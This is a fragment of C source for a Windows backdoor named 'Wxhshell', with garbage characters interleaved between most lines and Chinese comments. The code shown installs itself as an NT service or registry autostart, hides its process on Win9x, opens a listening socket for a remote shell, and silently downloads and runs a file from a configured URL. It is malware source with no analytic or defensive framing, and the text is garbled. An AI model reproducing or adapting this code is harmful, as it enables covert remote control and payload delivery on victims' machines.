@yt2_ RM&H!E<# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y=a v8Y|` $>r>0S#+\& CloseHandle(hProcess); S\9t4Ki_' @0z0m;8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #P%1{l5m if(hProcess==NULL) return 0; 1BMB?I A~SL5h HMODULE hMod; 2;4]PRD6w char procName[255]; <!~1{`n%9J unsigned long cbNeeded; @VC .> %{7_E*I@n if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FgWkcV6B 0+}EA[ CloseHandle(hProcess); a|QE *s. /o~qC<7 if(strstr(procName,"services")) return 1; // 以服务启动 *p&^!ct m_m8c8{Y return 0; // 注册表启动 I7dm \|# } 2.LJp}> #zS1Zf^KP // 主模块 =#i4MXRZ{ int StartWxhshell(LPSTR lpCmdLine) 2W3NL|P { ~=:2~$gsn SOCKET wsl; !%c{+]g BOOL val=TRUE; K`QOU-M@} int port=0; RpO@pd m struct sockaddr_in door; DS:>/m>) uu}`warW if(wscfg.ws_autoins) Install(); JF~1'"_f: c62dorDqy port=atoi(lpCmdLine); AH2_#\ 'tb(J3ZP if(port<=0) port=wscfg.ws_port; ;)(Sdf[P p)B33ZzC WSADATA data; 6a4 'xq7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 ]q CmEpir{}( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; O^9CV*]!n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zL:&Q< door.sin_family = AF_INET; ZV'$k\ door.sin_addr.s_addr = inet_addr("127.0.0.1");
lWx door.sin_port = htons(port); *jk3 \KaoV &?.n2+T+
= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vBh; closesocket(wsl); Go>wo/Sb return 1; DR:8oo&E } fdlvn*H D \N
\BD if(listen(wsl,2) == INVALID_SOCKET) { q$r&4s)To closesocket(wsl); sl/=g
return 1; z Yw;q3" } U;xu/xDRi Wxhshell(wsl); EL^8zyg%% WSACleanup(); ))7LE|1l gNShOu return 0; <9P4}`%)3 M|\^UF2e } o#qH2)tb Y3-gUX*w0 // 以NT服务方式启动 25 CZmsg VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x_*%*H { ^SZw`] DWORD status = 0; *~p(GC DWORD specificError = 0xfffffff; !^m%O0DT B:4Ka]{YO serviceStatus.dwServiceType = SERVICE_WIN32; I@2 uF- serviceStatus.dwCurrentState = SERVICE_START_PENDING; &
_; y.! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2w+U$6e C serviceStatus.dwWin32ExitCode = 0; lnS(&`oh\= serviceStatus.dwServiceSpecificExitCode = 0; #/Ruz'H1> serviceStatus.dwCheckPoint = 0; lDN"atSf
serviceStatus.dwWaitHint = 0; A)tP()+) N]NF\7( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); veeI==] if (hServiceStatusHandle==0) return; WRWWskP xwRhs!`t1 status = GetLastError(); 9lf*O0Z&n if (status!=NO_ERROR) 6{q;1-8j+j { <,"4k&0Q>V serviceStatus.dwCurrentState = SERVICE_STOPPED; +`@M*kd serviceStatus.dwCheckPoint = 0; q\%cFB} serviceStatus.dwWaitHint = 0; j 5Qo*p serviceStatus.dwWin32ExitCode = status; {7*>Cv} serviceStatus.dwServiceSpecificExitCode = specificError; ^/HW$8wEi SetServiceStatus(hServiceStatusHandle, &serviceStatus); lbQQtpEKO return; >M]6uf } :\XI0E '+j<n[JLC serviceStatus.dwCurrentState = SERVICE_RUNNING; _AFQ >j serviceStatus.dwCheckPoint = 0; 62) d22 serviceStatus.dwWaitHint = 0; WJ|:kuF if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f`jc#f5+' } nVE9^')8V Z(j{F<\jS // 处理NT服务事件,比如:启动、停止 S}(8f!9< VOID WINAPI NTServiceHandler(DWORD fdwControl) }GumpT$Xw { (hIF]>,kl switch(fdwControl) kH'p\9= { + WVIZZ8 case SERVICE_CONTROL_STOP: c.AYxI" serviceStatus.dwWin32ExitCode = 0; ~vHk&r]| serviceStatus.dwCurrentState = SERVICE_STOPPED; F.tfgW(A@ serviceStatus.dwCheckPoint = 0; mpgO s serviceStatus.dwWaitHint = 0; xg<Hxn,<M { 41G5!=i SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5G(3vRX|1 } .%}?b~
return; 7tNc=,x} case SERVICE_CONTROL_PAUSE: rq sdE serviceStatus.dwCurrentState = SERVICE_PAUSED; )KE[!ofD break; |?d#eQ9a case SERVICE_CONTROL_CONTINUE: #sTEQjJ,J serviceStatus.dwCurrentState = SERVICE_RUNNING; 5c5oSy+ break; VIC0}LT0R case SERVICE_CONTROL_INTERROGATE: Z&Y=`GOI break; $<nCXVqL, };
%@Oma SetServiceStatus(hServiceStatusHandle, &serviceStatus); &$'z } V8WFQdXc uI~s8{0T6 // 标准应用程序主函数 )[L^Dmd, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0fm*`4Q { D f4+^B,1 5!I4l1 // 获取操作系统版本 Q8D&tJg OsIsNt=GetOsVer(); 8'Z:ydj^, GetModuleFileName(NULL,ExeFile,MAX_PATH); ]0c+/ \b& Ml?~
|_ // 从命令行安装 j'?7D0> if(strpbrk(lpCmdLine,"iI")) Install(); #*9-d/K
7I=C+ // 下载执行文件 J@_ctGv if(wscfg.ws_downexe) { ?m7:if+y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ujFzJdp3k WinExec(wscfg.ws_filenam,SW_HIDE); s&a1y~rv } Aw5pd7qKL oR .cSGh if(!OsIsNt) { b| M3` // 如果时win9x,隐藏进程并且设置为注册表启动 \25/$Ae}c HideProc(); cc}Key@D StartWxhshell(lpCmdLine); 7a4o1;l } iD`d99f8O else GOT1@.Y if(StartFromService()) M;w?[yEZ // 以服务方式启动 /PzcvN
StartServiceCtrlDispatcher(DispatchTable); 31WC=ur5 else Vw tZLP36 // 普通方式启动 6E~g# (8 StartWxhshell(lpCmdLine); 2S"Nf8>zp D&G"BZx| return 0; s 5WqR8 }
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